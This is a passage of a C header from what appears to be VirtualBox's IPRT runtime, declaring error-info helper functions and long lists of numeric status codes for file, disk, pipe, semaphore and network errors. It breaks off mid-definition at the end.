pErrInfo The error info structure to init. * @param pszMsg The message buffer. Must be at least one byte. * @param cbMsg The size of the message buffer. */ DECLINLINE(PRTERRINFO) RTErrInfoInit(PRTERRINFO pErrInfo, char *pszMsg, size_t cbMsg) { *pszMsg = '\0'; pErrInfo->fFlags = RTERRINFO_FLAGS_T_CUSTOM | RTERRINFO_FLAGS_MAGIC; pErrInfo->rc = /*VINF_SUCCESS*/ 0; pErrInfo->pszMsg = pszMsg; pErrInfo->cbMsg = cbMsg; pErrInfo->apvReserved[0] = NULL; pErrInfo->apvReserved[1] = NULL; return pErrInfo; } /** * Initialize a static error info structure. * * @returns Pointer to the core error info structure. * @param pStaticErrInfo The static error info structure to init. */ DECLINLINE(PRTERRINFO) RTErrInfoInitStatic(PRTERRINFOSTATIC pStaticErrInfo) { RTErrInfoInit(&pStaticErrInfo->Core, pStaticErrInfo->szMsg, sizeof(pStaticErrInfo->szMsg)); pStaticErrInfo->Core.fFlags = RTERRINFO_FLAGS_T_STATIC | RTERRINFO_FLAGS_MAGIC; return &pStaticErrInfo->Core; } /** * Allocates a error info structure with a buffer at least the given size. * * @returns Pointer to an error info structure on success, NULL on failure. * * @param cbMsg The minimum message buffer size. Use 0 to get * the default buffer size. */ RTDECL(PRTERRINFO) RTErrInfoAlloc(size_t cbMsg); /** * Same as RTErrInfoAlloc, except that an IPRT status code is returned. * * @returns IPRT status code. * * @param cbMsg The minimum message buffer size. Use 0 to get * the default buffer size. * @param ppErrInfo Where to store the pointer to the allocated * error info structure on success. This is * always set to NULL. */ RTDECL(int) RTErrInfoAllocEx(size_t cbMsg, PRTERRINFO *ppErrInfo); /** * Frees an error info structure allocated by RTErrInfoAlloc or * RTErrInfoAllocEx. * * @param pErrInfo The error info structure. */ RTDECL(void) RTErrInfoFree(PRTERRINFO pErrInfo); /** * Fills in the error info details. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszMsg The error message string. */ RTDECL(int) RTErrInfoSet(PRTERRINFO pErrInfo, int rc, const char *pszMsg); /** * Fills in the error info details, with a sprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string. * @param ... The format arguments. */ RTDECL(int) RTErrInfoSetF(PRTERRINFO pErrInfo, int rc, const char *pszFormat, ...); /** * Fills in the error info details, with a vsprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string. * @param va The format arguments. */ RTDECL(int) RTErrInfoSetV(PRTERRINFO pErrInfo, int rc, const char *pszFormat, va_list va); /** * Adds more error info details. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszMsg The error message string to add. */ RTDECL(int) RTErrInfoAdd(PRTERRINFO pErrInfo, int rc, const char *pszMsg); /** * Adds more error info details, with a sprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string to add. * @param ... The format arguments. */ RTDECL(int) RTErrInfoAddF(PRTERRINFO pErrInfo, int rc, const char *pszFormat, ...); /** * Adds more error info details, with a vsprintf style message. * * @returns @a rc. * * @param pErrInfo The error info structure to fill in. * @param rc The status code to return. * @param pszFormat The format string to add. * @param va The format arguments. */ RTDECL(int) RTErrInfoAddV(PRTERRINFO pErrInfo, int rc, const char *pszFormat, va_list va); /** * Checks if the error info is set. * * @returns true if set, false if not. * @param pErrInfo The error info structure. NULL is OK. */ DECLINLINE(bool) RTErrInfoIsSet(PCRTERRINFO pErrInfo) { if (!pErrInfo) return false; return (pErrInfo->fFlags & (RTERRINFO_FLAGS_MAGIC_MASK | RTERRINFO_FLAGS_SET)) == (RTERRINFO_FLAGS_MAGIC | RTERRINFO_FLAGS_SET); } /** * Clears the error info structure. * * @param pErrInfo The error info structure. NULL is OK. */ DECLINLINE(void) RTErrInfoClear(PRTERRINFO pErrInfo) { if (pErrInfo) { pErrInfo->fFlags &= ~RTERRINFO_FLAGS_SET; pErrInfo->rc = /*VINF_SUCCESS*/0; *pErrInfo->pszMsg = '\0'; } } /** * Storage for error variables. * * @remarks Do NOT touch the members! They are platform specific and what's * where may change at any time! */ typedef union RTERRVARS { int8_t ai8Vars[32]; int16_t ai16Vars[16]; int32_t ai32Vars[8]; int64_t ai64Vars[4]; } RTERRVARS; /** Pointer to an error variable storage union. */ typedef RTERRVARS *PRTERRVARS; /** Pointer to a const error variable storage union. */ typedef RTERRVARS const *PCRTERRVARS; /** * Saves the error variables. * * @returns @a pVars. * @param pVars The variable storage union. */ RTDECL(PRTERRVARS) RTErrVarsSave(PRTERRVARS pVars); /** * Restores the error variables. * * @param pVars The variable storage union. */ RTDECL(void) RTErrVarsRestore(PCRTERRVARS pVars); /** * Checks if the first variable set equals the second. * * @returns true if they are equal, false if not. * @param pVars1 The first variable storage union. * @param pVars2 The second variable storage union. */ RTDECL(bool) RTErrVarsAreEqual(PCRTERRVARS pVars1, PCRTERRVARS pVars2); /** * Checks if the (live) error variables have changed since we saved them. * * @returns @c true if they have changed, @c false if not. * @param pVars The saved variables to compare the current state * against. */ RTDECL(bool) RTErrVarsHaveChanged(PCRTERRVARS pVars); RT_C_DECLS_END /** @} */ /** @name Status Code Ranges * @{ */ /** The first status code in the primary IPRT range. */ #define RTERR_RANGE1_FIRST 0 /** The last status code in the primary IPRT range. */ #define RTERR_RANGE1_LAST 999 /** The first status code in the secondary IPRT range. */ #define RTERR_RANGE2_FIRST 22000 /** The last status code in the secondary IPRT range. */ #define RTERR_RANGE2_LAST 32766 /** The first status code in the user range. */ #define RTERR_USER_FIRST 1000 /** The last status code in the user range. */ #define RTERR_USER_LAST 21999 /** @} */ /* SED-START */ /** @name Misc. Status Codes * @{ */ /** Success. */ #define VINF_SUCCESS 0 /** General failure - DON'T USE THIS!!! */ #define VERR_GENERAL_FAILURE (-1) /** Invalid parameter. */ #define VERR_INVALID_PARAMETER (-2) /** Invalid parameter. */ #define VWRN_INVALID_PARAMETER 2 /** Invalid magic or cookie. */ #define VERR_INVALID_MAGIC (-3) /** Invalid magic or cookie. */ #define VWRN_INVALID_MAGIC 3 /** Invalid loader handle. */ #define VERR_INVALID_HANDLE (-4) /** Invalid loader handle. */ #define VWRN_INVALID_HANDLE 4 /** Failed to lock the address range. */ #define VERR_LOCK_FAILED (-5) /** Invalid memory pointer. */ #define VERR_INVALID_POINTER (-6) /** Failed to patch the IDT. */ #define VERR_IDT_FAILED (-7) /** Memory allocation failed. */ #define VERR_NO_MEMORY (-8) /** Already loaded. */ #define VERR_ALREADY_LOADED (-9) /** Permission denied. */ #define VERR_PERMISSION_DENIED (-10) /** Permission denied. */ #define VINF_PERMISSION_DENIED 10 /** Version mismatch. */ #define VERR_VERSION_MISMATCH (-11) /** The request function is not implemented. */ #define VERR_NOT_IMPLEMENTED (-12) /** Invalid flags was given. */ #define VERR_INVALID_FLAGS (-13) /** Not equal. */ #define VERR_NOT_EQUAL (-18) /** The specified path does not point at a symbolic link. */ #define VERR_NOT_SYMLINK (-19) /** Failed to allocate temporary memory. */ #define VERR_NO_TMP_MEMORY (-20) /** Invalid file mode mask (RTFMODE). */ #define VERR_INVALID_FMODE (-21) /** Incorrect call order. */ #define VERR_WRONG_ORDER (-22) /** There is no TLS (thread local storage) available for storing the current thread. */ #define VERR_NO_TLS_FOR_SELF (-23) /** Failed to set the TLS (thread local storage) entry which points to our thread structure. */ #define VERR_FAILED_TO_SET_SELF_TLS (-24) /** Not able to allocate contiguous memory. */ #define VERR_NO_CONT_MEMORY (-26) /** No memory available for page table or page directory. */ #define VERR_NO_PAGE_MEMORY (-27) /** Already initialized. */ #define VINF_ALREADY_INITIALIZED 28 /** The specified thread is dead. */ #define VERR_THREAD_IS_DEAD (-29) /** The specified thread is not waitable. */ #define VERR_THREAD_NOT_WAITABLE (-30) /** Pagetable not present. */ #define VERR_PAGE_TABLE_NOT_PRESENT (-31) /** Invalid context. * Typically an API was used by the wrong thread. */ #define VERR_INVALID_CONTEXT (-32) /** The per process timer is busy. */ #define VERR_TIMER_BUSY (-33) /** Address conflict. */ #define VERR_ADDRESS_CONFLICT (-34) /** Unresolved (unknown) host platform error. */ #define VERR_UNRESOLVED_ERROR (-35) /** Invalid function. */ #define VERR_INVALID_FUNCTION (-36) /** Not supported. */ #define VERR_NOT_SUPPORTED (-37) /** Not supported. */ #define VINF_NOT_SUPPORTED 37 /** Access denied. */ #define VERR_ACCESS_DENIED (-38) /** Call interrupted. */ #define VERR_INTERRUPTED (-39) /** Call interrupted. */ #define VINF_INTERRUPTED 39 /** Timeout. */ #define VERR_TIMEOUT (-40) /** Timeout. */ #define VINF_TIMEOUT 40 /** Buffer too small to save result. */ #define VERR_BUFFER_OVERFLOW (-41) /** Buffer too small to save result. */ #define VINF_BUFFER_OVERFLOW 41 /** Data size overflow. */ #define VERR_TOO_MUCH_DATA (-42) /** Max threads number reached. */ #define VERR_MAX_THRDS_REACHED (-43) /** Max process number reached. */ #define VERR_MAX_PROCS_REACHED (-44) /** The recipient process has refused the signal. */ #define VERR_SIGNAL_REFUSED (-45) /** A signal is already pending. */ #define VERR_SIGNAL_PENDING (-46) /** The signal being posted is not correct. */ #define VERR_SIGNAL_INVALID (-47) /** The state changed. * This is a generic error message and needs a context to make sense. */ #define VERR_STATE_CHANGED (-48) /** Warning, the state changed. * This is a generic error message and needs a context to make sense. */ #define VWRN_STATE_CHANGED 48 /** Error while parsing UUID string */ #define VERR_INVALID_UUID_FORMAT (-49) /** The specified process was not found. */ #define VERR_PROCESS_NOT_FOUND (-50) /** The process specified to a non-block wait had not exited. */ #define VERR_PROCESS_RUNNING (-51) /** Retry the operation. */ #define VERR_TRY_AGAIN (-52) /** Retry the operation. */ #define VINF_TRY_AGAIN 52 /** Generic parse error. */ #define VERR_PARSE_ERROR (-53) /** Value out of range. */ #define VERR_OUT_OF_RANGE (-54) /** A numeric conversion encountered a value which was too big for the target. */ #define VERR_NUMBER_TOO_BIG (-55) /** A numeric conversion encountered a value which was too big for the target. */ #define VWRN_NUMBER_TOO_BIG 55 /** The number begin converted (string) contained no digits. */ #define VERR_NO_DIGITS (-56) /** The number begin converted (string) contained no digits. */ #define VWRN_NO_DIGITS 56 /** Encountered a '-' during conversion to an unsigned value. */ #define VERR_NEGATIVE_UNSIGNED (-57) /** Encountered a '-' during conversion to an unsigned value. */ #define VWRN_NEGATIVE_UNSIGNED 57 /** Error while characters translation (unicode and so). */ #define VERR_NO_TRANSLATION (-58) /** Error while characters translation (unicode and so). */ #define VWRN_NO_TRANSLATION 58 /** Encountered unicode code point which is reserved for use as endian indicator (0xffff or 0xfffe). */ #define VERR_CODE_POINT_ENDIAN_INDICATOR (-59) /** Encountered unicode code point in the surrogate range (0xd800 to 0xdfff). */ #define VERR_CODE_POINT_SURROGATE (-60) /** A string claiming to be UTF-8 is incorrectly encoded. */ #define VERR_INVALID_UTF8_ENCODING (-61) /** Ad string claiming to be in UTF-16 is incorrectly encoded. */ #define VERR_INVALID_UTF16_ENCODING (-62) /** Encountered a unicode code point which cannot be represented as UTF-16. */ #define VERR_CANT_RECODE_AS_UTF16 (-63) /** Got an out of memory condition trying to allocate a string. */ #define VERR_NO_STR_MEMORY (-64) /** Got an out of memory condition trying to allocate a UTF-16 (/UCS-2) string. */ #define VERR_NO_UTF16_MEMORY (-65) /** Get an out of memory condition trying to allocate a code point array. */ #define VERR_NO_CODE_POINT_MEMORY (-66) /** Can't free the memory because it's used in mapping. */ #define VERR_MEMORY_BUSY (-67) /** The timer can't be started because it's already active. */ #define VERR_TIMER_ACTIVE (-68) /** The timer can't be stopped because i's already suspended. */ #define VERR_TIMER_SUSPENDED (-69) /** The operation was cancelled by the user (copy) or another thread (local ipc). */ #define VERR_CANCELLED (-70) /** Failed to initialize a memory object. * Exactly what this means is OS specific. */ #define VERR_MEMOBJ_INIT_FAILED (-71) /** Out of memory condition when allocating memory with low physical backing. */ #define VERR_NO_LOW_MEMORY (-72) /** Out of memory condition when allocating physical memory (without mapping). */ #define VERR_NO_PHYS_MEMORY (-73) /** The address (virtual or physical) is too big. */ #define VERR_ADDRESS_TOO_BIG (-74) /** Failed to map a memory object. */ #define VERR_MAP_FAILED (-75) /** Trailing characters. */ #define VERR_TRAILING_CHARS (-76) /** Trailing characters. */ #define VWRN_TRAILING_CHARS 76 /** Trailing spaces. */ #define VERR_TRAILING_SPACES (-77) /** Trailing spaces. */ #define VWRN_TRAILING_SPACES 77 /** Generic not found error. */ #define VERR_NOT_FOUND (-78) /** Generic not found warning. */ #define VWRN_NOT_FOUND 78 /** Generic invalid state error. */ #define VERR_INVALID_STATE (-79) /** Generic invalid state warning. */ #define VWRN_INVALID_STATE 79 /** Generic out of resources error. */ #define VERR_OUT_OF_RESOURCES (-80) /** Generic out of resources warning. */ #define VWRN_OUT_OF_RESOURCES 80 /** No more handles available, too many open handles. */ #define VERR_NO_MORE_HANDLES (-81) /** Preemption is disabled. * The requested operation can only be performed when preemption is enabled. */ #define VERR_PREEMPT_DISABLED (-82) /** End of string. */ #define VERR_END_OF_STRING (-83) /** End of string. */ #define VINF_END_OF_STRING 83 /** A page count is out of range. */ #define VERR_PAGE_COUNT_OUT_OF_RANGE (-84) /** Generic object destroyed status. */ #define VERR_OBJECT_DESTROYED (-85) /** Generic object was destroyed by the call status. */ #define VINF_OBJECT_DESTROYED 85 /** Generic dangling objects status. */ #define VERR_DANGLING_OBJECTS (-86) /** Generic dangling objects status. */ #define VWRN_DANGLING_OBJECTS 86 /** Invalid Base64 encoding. */ #define VERR_INVALID_BASE64_ENCODING (-87) /** Return instigated by a callback or similar. */ #define VERR_CALLBACK_RETURN (-88) /** Return instigated by a callback or similar. */ #define VINF_CALLBACK_RETURN 88 /** Authentication failure. */ #define VERR_AUTHENTICATION_FAILURE (-89) /** Not a power of two. */ #define VERR_NOT_POWER_OF_TWO (-90) /** Status code, typically given as a parameter, that isn't supposed to be used. */ #define VERR_IGNORED (-91) /** Concurrent access to the object is not allowed. */ #define VERR_CONCURRENT_ACCESS (-92) /** The caller does not have a reference to the object. * This status is used when two threads is caught sharing the same object * reference. */ #define VERR_CALLER_NO_REFERENCE (-93) /** Generic no change error. */ #define VERR_NO_CHANGE (-95) /** Generic no change info. */ #define VINF_NO_CHANGE 95 /** Out of memory condition when allocating executable memory. */ #define VERR_NO_EXEC_MEMORY (-96) /** The alignment is not supported. */ #define VERR_UNSUPPORTED_ALIGNMENT (-97) /** The alignment is not really supported, however we got lucky with this * allocation. */ #define VINF_UNSUPPORTED_ALIGNMENT 97 /** Duplicate something. */ #define VERR_DUPLICATE (-98) /** Something is missing. */ #define VERR_MISSING (-99) /** An unexpected (/unknown) exception was caught. */ #define VERR_UNEXPECTED_EXCEPTION (-22400) /** Buffer underflow. */ #define VERR_BUFFER_UNDERFLOW (-22401) /** Buffer underflow. */ #define VINF_BUFFER_UNDERFLOW 22401 /** Uneven input. */ #define VERR_UNEVEN_INPUT (-22402) /** Something is not available or not working properly. */ #define VERR_NOT_AVAILABLE (-22403) /** The RTPROC_FLAGS_DETACHED flag isn't supported. */ #define VERR_PROC_DETACH_NOT_SUPPORTED (-22404) /** An account is restricted in a certain way. */ #define VERR_ACCOUNT_RESTRICTED (-22405) /** An account is restricted in a certain way. */ #define VINF_ACCOUNT_RESTRICTED 22405 /** Not able satisfy all the requirements of the request. */ #define VERR_UNABLE_TO_SATISFY_REQUIREMENTS (-22406) /** Not able satisfy all the requirements of the request. */ #define VWRN_UNABLE_TO_SATISFY_REQUIREMENTS 22406 /** The requested allocation is too big. */ #define VERR_ALLOCATION_TOO_BIG (-22407) /** Mismatch. */ #define VERR_MISMATCH (-22408) /** Wrong type. */ #define VERR_WRONG_TYPE (-22409) /** @} */ /** @name Common File/Disk/Pipe/etc Status Codes * @{ */ /** Unresolved (unknown) file i/o error. */ #define VERR_FILE_IO_ERROR (-100) /** File/Device open failed. */ #define VERR_OPEN_FAILED (-101) /** File not found. */ #define VERR_FILE_NOT_FOUND (-102) /** Path not found. */ #define VERR_PATH_NOT_FOUND (-103) /** Invalid (malformed) file/path name. */ #define VERR_INVALID_NAME (-104) /** The object in question already exists. */ #define VERR_ALREADY_EXISTS (-105) /** The object in question already exists. */ #define VWRN_ALREADY_EXISTS 105 /** Too many open files. */ #define VERR_TOO_MANY_OPEN_FILES (-106) /** Seek error. */ #define VERR_SEEK (-107) /** Seek below file start. */ #define VERR_NEGATIVE_SEEK (-108) /** Trying to seek on device. */ #define VERR_SEEK_ON_DEVICE (-109) /** Reached the end of the file. */ #define VERR_EOF (-110) /** Reached the end of the file. */ #define VINF_EOF 110 /** Generic file read error. */ #define VERR_READ_ERROR (-111) /** Generic file write error. */ #define VERR_WRITE_ERROR (-112) /** Write protect error. */ #define VERR_WRITE_PROTECT (-113) /** Sharing violation, file is being used by another process. */ #define VERR_SHARING_VIOLATION (-114) /** Unable to lock a region of a file. */ #define VERR_FILE_LOCK_FAILED (-115) /** File access error, another process has locked a portion of the file. */ #define VERR_FILE_LOCK_VIOLATION (-116) /** File or directory can't be created. */ #define VERR_CANT_CREATE (-117) /** Directory can't be deleted. */ #define VERR_CANT_DELETE_DIRECTORY (-118) /** Can't move file to another disk. */ #define VERR_NOT_SAME_DEVICE (-119) /** The filename or extension is too long. */ #define VERR_FILENAME_TOO_LONG (-120) /** Media not present in drive. */ #define VERR_MEDIA_NOT_PRESENT (-121) /** The type of media was not recognized. Not formatted? */ #define VERR_MEDIA_NOT_RECOGNIZED (-122) /** Can't unlock - region was not locked. */ #define VERR_FILE_NOT_LOCKED (-123) /** Unrecoverable error: lock was lost. */ #define VERR_FILE_LOCK_LOST (-124) /** Can't delete directory with files. */ #define VERR_DIR_NOT_EMPTY (-125) /** A directory operation was attempted on a non-directory object. */ #define VERR_NOT_A_DIRECTORY (-126) /** A non-directory operation was attempted on a directory object. */ #define VERR_IS_A_DIRECTORY (-127) /** Tried to grow a file beyond the limit imposed by the process or the filesystem. */ #define VERR_FILE_TOO_BIG (-128) /** No pending request the aio context has to wait for completion. */ #define VERR_FILE_AIO_NO_REQUEST (-129) /** The request could not be canceled or prepared for another transfer * because it is still in progress. */ #define VERR_FILE_AIO_IN_PROGRESS (-130) /** The request could not be canceled because it already completed. */ #define VERR_FILE_AIO_COMPLETED (-131) /** The I/O context couldn't be destroyed because there are still pending requests. */ #define VERR_FILE_AIO_BUSY (-132) /** The requests couldn't be submitted because that would exceed the capacity of the context. */ #define VERR_FILE_AIO_LIMIT_EXCEEDED (-133) /** The request was canceled. */ #define VERR_FILE_AIO_CANCELED (-134) /** The request wasn't submitted so it can't be canceled. */ #define VERR_FILE_AIO_NOT_SUBMITTED (-135) /** A request was not prepared and thus could not be submitted. */ #define VERR_FILE_AIO_NOT_PREPARED (-136) /** Not all requests could be submitted due to resource shortage. */ #define VERR_FILE_AIO_INSUFFICIENT_RESSOURCES (-137) /** There are not enough events available on the host to create the I/O context. * This exact meaning is host platform dependent. */ #define VERR_FILE_AIO_INSUFFICIENT_EVENTS (-138) /** Device or resource is busy. */ #define VERR_RESOURCE_BUSY (-139) /** A file operation was attempted on a non-file object. */ #define VERR_NOT_A_FILE (-140) /** A non-file operation was attempted on a file object. */ #define VERR_IS_A_FILE (-141) /** Unexpected filesystem object type. */ #define VERR_UNEXPECTED_FS_OBJ_TYPE (-142) /** A path does not start with a root specification. */ #define VERR_PATH_DOES_NOT_START_WITH_ROOT (-143) /** A path is relative, expected an absolute path. */ #define VERR_PATH_IS_RELATIVE (-144) /** A path is not relative (start with root), expected an relative path. */ #define VERR_PATH_IS_NOT_RELATIVE (-145) /** Zero length path. */ #define VERR_PATH_ZERO_LENGTH (-146) /** @} */ /** @name Generic Filesystem I/O Status Codes * @{ */ /** Unresolved (unknown) disk i/o error. */ #define VERR_DISK_IO_ERROR (-150) /** Invalid drive number. */ #define VERR_INVALID_DRIVE (-151) /** Disk is full. */ #define VERR_DISK_FULL (-152) /** Disk was changed. */ #define VERR_DISK_CHANGE (-153) /** Drive is locked. */ #define VERR_DRIVE_LOCKED (-154) /** The specified disk or diskette cannot be accessed. */ #define VERR_DISK_INVALID_FORMAT (-155) /** Too many symbolic links. */ #define VERR_TOO_MANY_SYMLINKS (-156) /** The OS does not support setting the time stamps on a symbolic link. */ #define VERR_NS_SYMLINK_SET_TIME (-157) /** The OS does not support changing the owner of a symbolic link. */ #define VERR_NS_SYMLINK_CHANGE_OWNER (-158) /** @} */ /** @name Generic Directory Enumeration Status Codes * @{ */ /** Unresolved (unknown) search error. */ #define VERR_SEARCH_ERROR (-200) /** No more files found. */ #define VERR_NO_MORE_FILES (-201) /** No more search handles available. */ #define VERR_NO_MORE_SEARCH_HANDLES (-202) /** RTDirReadEx() failed to retrieve the extra data which was requested. */ #define VWRN_NO_DIRENT_INFO 203 /** @} */ /** @name Internal Processing Errors * @{ */ /** Internal error - this should never happen. */ #define VERR_INTERNAL_ERROR (-225) /** Internal error no. 2. */ #define VERR_INTERNAL_ERROR_2 (-226) /** Internal error no. 3. */ #define VERR_INTERNAL_ERROR_3 (-227) /** Internal error no. 4. */ #define VERR_INTERNAL_ERROR_4 (-228) /** Internal error no. 5. */ #define VERR_INTERNAL_ERROR_5 (-229) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_STATUS (-230) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_INFO_STATUS (-231) /** Internal error: Unexpected status code. */ #define VERR_IPE_UNEXPECTED_ERROR_STATUS (-232) /** Internal error: Uninitialized status code. * @remarks This is used by value elsewhere. */ #define VERR_IPE_UNINITIALIZED_STATUS (-233) /** Internal error: Supposedly unreachable default case in a switch. */ #define VERR_IPE_NOT_REACHED_DEFAULT_CASE (-234) /** @} */ /** @name Generic Device I/O Status Codes * @{ */ /** Unresolved (unknown) device i/o error. */ #define VERR_DEV_IO_ERROR (-250) /** Device i/o: Bad unit. */ #define VERR_IO_BAD_UNIT (-251) /** Device i/o: Not ready. */ #define VERR_IO_NOT_READY (-252) /** Device i/o: Bad command. */ #define VERR_IO_BAD_COMMAND (-253) /** Device i/o: CRC error. */ #define VERR_IO_CRC (-254) /** Device i/o: Bad length. */ #define VERR_IO_BAD_LENGTH (-255) /** Device i/o: Sector not found. */ #define VERR_IO_SECTOR_NOT_FOUND (-256) /** Device i/o: General failure. */ #define VERR_IO_GEN_FAILURE (-257) /** @} */ /** @name Generic Pipe I/O Status Codes * @{ */ /** Unresolved (unknown) pipe i/o error. */ #define VERR_PIPE_IO_ERROR (-300) /** Broken pipe. */ #define VERR_BROKEN_PIPE (-301) /** Bad pipe. */ #define VERR_BAD_PIPE (-302) /** Pipe is busy. */ #define VERR_PIPE_BUSY (-303) /** No data in pipe. */ #define VERR_NO_DATA (-304) /** Pipe is not connected. */ #define VERR_PIPE_NOT_CONNECTED (-305) /** More data available in pipe. */ #define VERR_MORE_DATA (-306) /** Expected read pipe, got a write pipe instead. */ #define VERR_PIPE_NOT_READ (-307) /** Expected write pipe, got a read pipe instead. */ #define VERR_PIPE_NOT_WRITE (-308) /** @} */ /** @name Generic Semaphores Status Codes * @{ */ /** Unresolved (unknown) semaphore error. */ #define VERR_SEM_ERROR (-350) /** Too many semaphores. */ #define VERR_TOO_MANY_SEMAPHORES (-351) /** Exclusive semaphore is owned by another process. */ #define VERR_EXCL_SEM_ALREADY_OWNED (-352) /** The semaphore is set and cannot be closed. */ #define VERR_SEM_IS_SET (-353) /** The semaphore cannot be set again. */ #define VERR_TOO_MANY_SEM_REQUESTS (-354) /** Attempt to release mutex not owned by caller. */ #define VERR_NOT_OWNER (-355) /** The semaphore has been opened too many times. */ #define VERR_TOO_MANY_OPENS (-356) /** The maximum posts for the event semaphore has been reached. */ #define VERR_TOO_MANY_POSTS (-357) /** The event semaphore has already been posted. */ #define VERR_ALREADY_POSTED (-358) /** The event semaphore has already been reset. */ #define VERR_ALREADY_RESET (-359) /** The semaphore is in use. */ #define VERR_SEM_BUSY (-360) /** The previous ownership of this semaphore has ended. */ #define VERR_SEM_OWNER_DIED (-361) /** Failed to open semaphore by name - not found. */ #define VERR_SEM_NOT_FOUND (-362) /** Semaphore destroyed while waiting. */ #define VERR_SEM_DESTROYED (-363) /** Nested ownership requests are not permitted for this semaphore type. */ #define VERR_SEM_NESTED (-364) /** The release call only release a semaphore nesting, i.e. the caller is still * holding the semaphore. */ #define VINF_SEM_NESTED (364) /** Deadlock detected. */ #define VERR_DEADLOCK (-365) /** Ping-Pong listen or speak out of turn error. */ #define VERR_SEM_OUT_OF_TURN (-366) /** Tried to take a semaphore in a bad context. */ #define VERR_SEM_BAD_CONTEXT (-367) /** Don't spin for the semaphore, but it is safe to try grab it. */ #define VINF_SEM_BAD_CONTEXT (367) /** Wrong locking order detected. */ #define VERR_SEM_LV_WRONG_ORDER (-368) /** Wrong release order detected. */ #define VERR_SEM_LV_WRONG_RELEASE_ORDER (-369) /** Attempt to recursively enter a non-recurisve lock. */ #define VERR_SEM_LV_NESTED (-370) /** Invalid parameters passed to the lock validator. */ #define VERR_SEM_LV_INVALID_PARAMETER (-371) /** The lock validator detected a deadlock. */ #define VERR_SEM_LV_DEADLOCK (-372) /** The lock validator detected an existing deadlock. * The deadlock was not caused by the current operation, but existed already. */ #define VERR_SEM_LV_EXISTING_DEADLOCK (-373) /** Not the lock owner according our records. */ #define VERR_SEM_LV_NOT_OWNER (-374) /** An illegal lock upgrade was attempted. */ #define VERR_SEM_LV_ILLEGAL_UPGRADE (-375) /** The thread is not a valid signaller of the event. */ #define VERR_SEM_LV_NOT_SIGNALLER (-376) /** Internal error in the lock validator or related components. */ #define VERR_SEM_LV_INTERNAL_ERROR (-377) /** @} */ /** @name Generic Network I/O Status Codes * @{ */ /** Unresolved (unknown) network error. */ #define VERR_NET_IO_ERROR (-400) /** The network is busy or is out of resources. */ #define VERR_NET_OUT_OF_RESOURCES (-401) /** Net host name not found. */ #define VERR_NET_HOST_NOT_FOUND (-402) /** Network path not found. */ #define VERR_NET_PATH_NOT_FOUND (-403) /** General network printing error. */ #define VERR_NET_PRINT_ERROR (-404) /** The machine is not on the network. */ #define VERR_NET_NO_NETWORK (-405) /** Name is not unique on the network. */ #define VERR_NET_NOT_UNIQUE_NAME (-406) /* These are BSD networking error codes - numbers correspond, don't mess! */ /** Operation in progress. */ #define VERR_NET_IN_PROGRESS (-436) /** Operation already in progress. */ #define VERR_NET_ALREADY_IN_PROGRESS (-437) /** Attempted socket operation with a non-socket handle. * (This includes closed handles.) */ #define VERR_NET_NOT_SOCKET (-438) /** Destination address required. */ #define VERR_NET_DEST_ADDRESS_REQUIRED (-439) /** Message too long. */ #define VERR_NET_MSG_SIZE (-440) /** Protocol wrong type for socket. */ #define VERR_NET_PROTOCOL_TYPE (-441) /** Protocol not available. */ #define VERR_NET_PROTOCOL_NOT_AVAILABLE (-442) /** Protocol not supported. */ #define VERR_NET_PROTOCOL_NOT_SUPPORTED (-443) /** Socket type not supported. */ #define VERR_NET_SOCKET_TYPE_NOT_SUPPORTED (-444) /** Operation not supported. */ #define VERR_NET_OPERATION_NOT_SUPPORTED (-445) /** Protocol family not supported. */ #define VERR_NET_PROTOCOL_FAMILY_NOT_SUPPORTED (-446) /** Address family not supported by protocol family. */ #define VERR_NET_ADDRESS_FAMILY_NOT_SUPPORTED (-447) /** Address already in use. */ #define VERR_NET_ADDRESS_IN_USE (-448) /** Can't assign requested address. */ #define VERR_NET_ADDRESS_NOT_AVAILABLE (-449) /** Network is down. */ #define VERR_NET_DOWN (-450) /** Network is unreachable. */ #define VERR_NET_UNREACHABLE (-451) /** Network dropped connection on reset. */ #define VERR_NET_CONNECTION_RESET (-452) /** Software caused connection abort. */ #define VERR_NET_CONNECTION_ABORTED (-453) /** Connection reset by peer. */ #define VERR_NET_CONNECTION_RESET_BY_PEER (-454) /** No buffer space available. */ #define VERR_NET_NO_BUFFER_SPACE (-455) /** Socket is already connected. */ #define VERR_NET_ALREADY_CONNECTED (-456) /** Socket is not connected. */ #define VERR_NET_NOT_CONNECTED (-457) /** Can't send after socket shutdown. */ #define VERR_NET_SHUTDOWN (-458) /** Too many references: can't splice. */ #define VERR_NET_TOO_MANY_REFERENCES (-459) /** Too many references: can't splice. */ #define VERR_NET_CONNECTION_TIMED_OUT (-460) /** Connection refused. */ #define VERR_NET_CONNECTION_REFUSED (-461) /* ELOOP is not net. */ /* ENAMETOOLONG is not net. */ /** Host is down. */ #define VERR_NET_HOST_DOWN (-464) /** No route to host. */ #define VERR_NET_HOST_UNREACHABLE (-465) /** Protocol error. */ #define VERR_NET_PROTOCOL_ERROR (-466) /** Incomplete packet was submitted by guest. */ #define VERR_NET_INCOMPLETE_TX_PACKET (-467) /** @} */ /** @name TCP Status Codes * @{ */ /** Stop the TCP server. */ #define VERR_TCP_SERVER_STOP (-500) /** The server was stopped. */ #define VINF_TCP_SERVER_STOP 500 /** The TCP server was shut down using RTTcpServerShutdown. */ #define VERR_TCP_SERVER_SHUTDOWN (-501) /** The TCP server was destroyed. */ #define VERR_TCP_SERVER_DESTROYED (-502) /** The TCP server has no client associated with it. */ #define VINF_TCP_SERVER_NO_CLIENT 503 /** @} */ /** @name UDP Status Codes * @{ */ /** Stop the UDP server. */ #define VERR_UDP_SERVER_STOP (-520) /** The server was stopped. */ #define VINF_UDP_SERVER_STOP 520 /** The UDP server was shut down using RTUdpServerShutdown. */ #define VERR_UDP_SERVER_SHUTDOWN (-521) /** The UDP server was destroyed. */ #define VERR_UDP_SERVER_DESTROYED (-522) /** The UDP server has no client associated with it. */ #define VINF_UDP_SERVER_NO_CLIENT 523 /** @} */ /** @name L4 Specific Status Codes * @{ */ /** Invalid offset in an L4 dataspace */ #define 